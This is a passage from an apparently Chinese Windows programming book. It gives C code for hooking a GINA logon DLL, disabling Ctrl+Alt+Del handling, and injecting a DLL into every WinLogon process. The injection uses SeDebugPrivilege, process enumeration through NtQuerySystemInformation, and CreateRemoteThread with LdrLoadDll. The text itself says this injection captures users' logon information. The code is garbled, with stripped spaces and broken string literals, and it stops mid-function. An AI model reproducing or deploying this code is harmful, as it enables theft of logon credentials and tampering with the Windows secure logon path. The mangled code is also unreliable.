}
elseif(uMsg==WM_PAINT) {
RECTrect;
GetClientRect(hwndDlg,&rect); rect.top=rect.bottom-33;
DrawLogo(hwndDlg,IMAGE_FILE,rect.left,rect.top); }
returnbResult; }
BOOLWINAPIWlxInitialize(LPWSTRlpWinsta,HANDLEhWlx,PVOID pvReserved,PVOIDpWinLogonFunctions,PVOID*pWlxContext) {
g_pWinLogon=pWinLogonFunctions;
//NowhooktheWlxDialogBoxParam()dispatchfunction HookWlxDialogBoxParam(g_pWinLogon,g_dwVersion); returnpfWlxInitialize(lpWinsta,hWlx,pvReserved, pWinLogonFunctions,pWlxContext); }
注意这个函数也可以通过APIHOOK的方法拦截DialogBoxParam函数,达到同 样的目的。
如果用户希望能够屏蔽Ctrl+Alt+Del键,可以使用下面的代码: //当系统处于登录成功,没有锁定的状态下 //WinLogon接收到SAS事件,于是调用该函数 //现屏蔽所有事件,直接返回
intWINAPIWlxLoggedOnSAS(PVOIDpWlxContext,DWORDdwSasType,PVOID pReserved) {
returnWLX_SAS_ACTION_NONE; }
注意:
Windows只支持一个GINA动态链接库,用户编写发行的程序可能会被第三方编 写的GINA屏蔽,因为它们使用同样的注册表项。 7.4WinLogon进程的注入
WinLogon进程是一个十分重要的进程。实现这个进程的代码注入,可以获得用 户登录的的相关信息,实现与一个GINA动态链接库相同的功能。 实现WinLogon的进程注入的基本步骤如下。
(1)首先需要判断当前的操作系统是否是WindowsNT内核的系统,这里只支持 WindowsNT内核的系统。
BOOLIsWinNt(PDWORDpdwMajorVersion,PDWORDpdwMinorVersion) {
OSVERSIONINFOovi; DWORDlRet;
ovi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lRet=GetVersionEx(&ovi); if(!lRet)
returnFALSE;
if(ovi.dwPlatformId!=VER_PLATFORM_WIN32_NT) returnFALSE;
*pdwMajorVersion=ovi.dwMajorVersion; *pdwMinorVersion=ovi.dwMinorVersion; returnTRUE; }
(2)为了实现系统进程的注入,用户必须得到调试权限。 BOOLGetDebugPriv(PTOKEN_PRIVILEGESptkpPrev) {
HANDLEhToken;
LUIDsedebugnameValue; TOKEN_PRIVILEGEStkp; BOOLbRet; ULONGulRet;
if(!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) returnFALSE;
bRet=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue); if(!bRet) {
CloseHandle(hToken); returnbRet; }
tkp.PrivilegeCount=1;
tkp.Privileges[0].Luid=sedebugnameValue;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
bRet=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp), ptkpPrev,&ulRet); CloseHandle(hToken); returnbRet; }
恢复原来的权限可以使用:
BOOLRestorePrivileges(TOKEN_PRIVILEGEStkp) {
HANDLEhToken; BOOLbRet;
if(!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) returnFALSE;
bRet=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,N ULL);
CloseHandle(hToken); returnbRet; }
(3)实现对所有WinLogon进程实例的注入,其中入口参数为注入的动态链接库路径。 在注入实现中,程序主要调用了ntdll.dll输出的一个本机API函数
NtQuerySystemInformation,对系统中的所有进程进行枚举,只处理WinLogon进程,然 后调用LoadDllInProcessEx函数把注入动态链接库加载到WinLogon进程的地址空间。 在这个函数调用中用到了PPROCESSINFO和THREADINFO结构。结构定义如下: typedefstruct_tagThreadInfo {
FILETIMEftCreationTime; DWORDdwUnknown1; DWORDdwStartAddress; DWORDdwOwningPID; DWORDdwThreadID;
DWORDdwCurrentPriority; DWORDdwBasePriority; DWORDdwContextSwitches; DWORDdwThreadState; DWORDdwWaitReason; DWORDdwUnknown2[5];
}THREADINFO,*PTHREADINFO; #pragmawarning(disable:4200) typedefstruct_tagProcessInfo {
DWORDdwOffset;
DWORDdwThreadCount; DWORDdwUnknown1[6]; FILETIMEftCreationTime; DWORDdwUnknown2[5]; WCHAR*pszProcessName; DWORDdwBasePriority; DWORDdwProcessID;
DWORDdwParentProcessID; DWORDdwHandleCount; DWORDdwUnknown3; DWORDdwUnknown4;
DWORDdwVirtualBytesPeak; DWORDdwVirtualBytes; DWORDdwPageFaults;
DWORDdwWorkingSetPeak; DWORDdwWorkingSet; DWORDdwUnknown5; DWORDdwPagedPool;
DWORDdwUnknown6; DWORDdwNonPagedPool; DWORDdwPageFileBytesPeak; DWORDdwPrivateBytes; DWORDdwPageFileBytes; DWORDdwUnknown7[4]; THREADINFOti[0];
}_PROCESSINFO,*PPROCESSINFO;
ULONGInjectAllWinLogons(char*szDllPath) {PBYTEpbyInfo=NULL; DWORDcInfoSize=0x2000; ULONGret=0;
CHARszProcessName[PROCESS_SIZE]; PPROCESSINFOpProcessInfo; BOOLbLast;
DWORDdwResult=0;
if(!NtQuerySystemInformation)
NtQuerySystemInformation=(long(_stdcall*) (ULONG,PVOID,ULONG,ULONG))
GetProcAddress(GetModuleHandle(\\pbyInfo=(PBYTE)malloc(cInfoSize); if(pbyInfo) {
while(NtQuerySystemInformation(5,pbyInfo,cInfoSize,0)==STATUS_ INFO_LENGTH_MISMATCH) {
cInfoSize+=0x2000;
pbyInfo=(PBYTE)realloc(pbyInfo,cInfoSize); }
pProcessInfo=(PPROCESSINFO)pbyInfo; bLast=FALSE; do {
if(pProcessInfo->dwOffset==0)//last? bLast=TRUE;
if(pProcessInfo->dwProcessID!=0)//忽略systemidle {//convertprocessname
WideCharToMultiByte(CP_ACP,0,pProcessInfo->pszProcessName, -1,szProcessName,PROCESS_SIZE,NULL,NULL);
if(strnicmp(szProcessName,\{
printf(\\
//加载用户动态链接库到目标地址空间
if(dwResult=LoadDllInProcessEx(pProcessInfo->dwProcessID, szDllPath))
printf(\else
printf(\}
ret++; }
pProcessInfo=(PPROCESSINFO)((PBYTE)pProcessInfo+pProcessInfo->dw Offset);}
while(bLast==FALSE); free(pbyInfo); }
returnret; }
(4)代码的注入。实现代码注入的方法和以前注入是相似的,它采用了创建远程
线程的方法,其中dwPid是WinLogon进程的进程标识。函数首先调用OpenProcess 打开WinLogon进程的进程句柄,然后准备远程线程使用的数据结构,即初始化结构 成员。这些成员包含标志信息、模块句柄、路径信息、LdrLoadDll函数的地址等,然 后分三次注入到Winlogon进程中。运行后通过调用CreateRemoteThread启动远程线 程,读取线程运行结果。函数退出之前回收所有分配的资源。 DWORDLoadDllInProcessEx(DWORDdwPid,char*DllPathName) {
HANDLEhProcess,hThread; RemoteProcessDatarpd; PWSTRpwModuleFileName; HANDLEhModule=NULL; UNICODE_STRINGusModule; LPVOIDlpParameters,lpThread; SECURITY_ATTRIBUTESsaSecAttr; DWORDdwActual,dwResult=0,rc;
hProcess=OpenProcess(PROCESS_ALL_ACCESS,0,dwPid); if(hProcess==NULL)gotocleanup;
rpd.pLdrLoadDll=(LDRLOADDLL)GetProcAddress(GetModuleHandle(\\
if(!rpd.pLdrLoadDll)gotocleanup; rpd.Flags=0;
rpd.PathToFile=NULL; rpd.ModuleHandle=NULL;
pwModuleFileName=(PWSTR)malloc((strlen(DllPathName)*2)+1); if(!pwModuleFileName)gotocleanup;
MultiByteToWideChar(CP_ACP,0,DllPathName,strlen(DllPathName),pwModul eFileName,(strlen(DllPathName)*2)+1);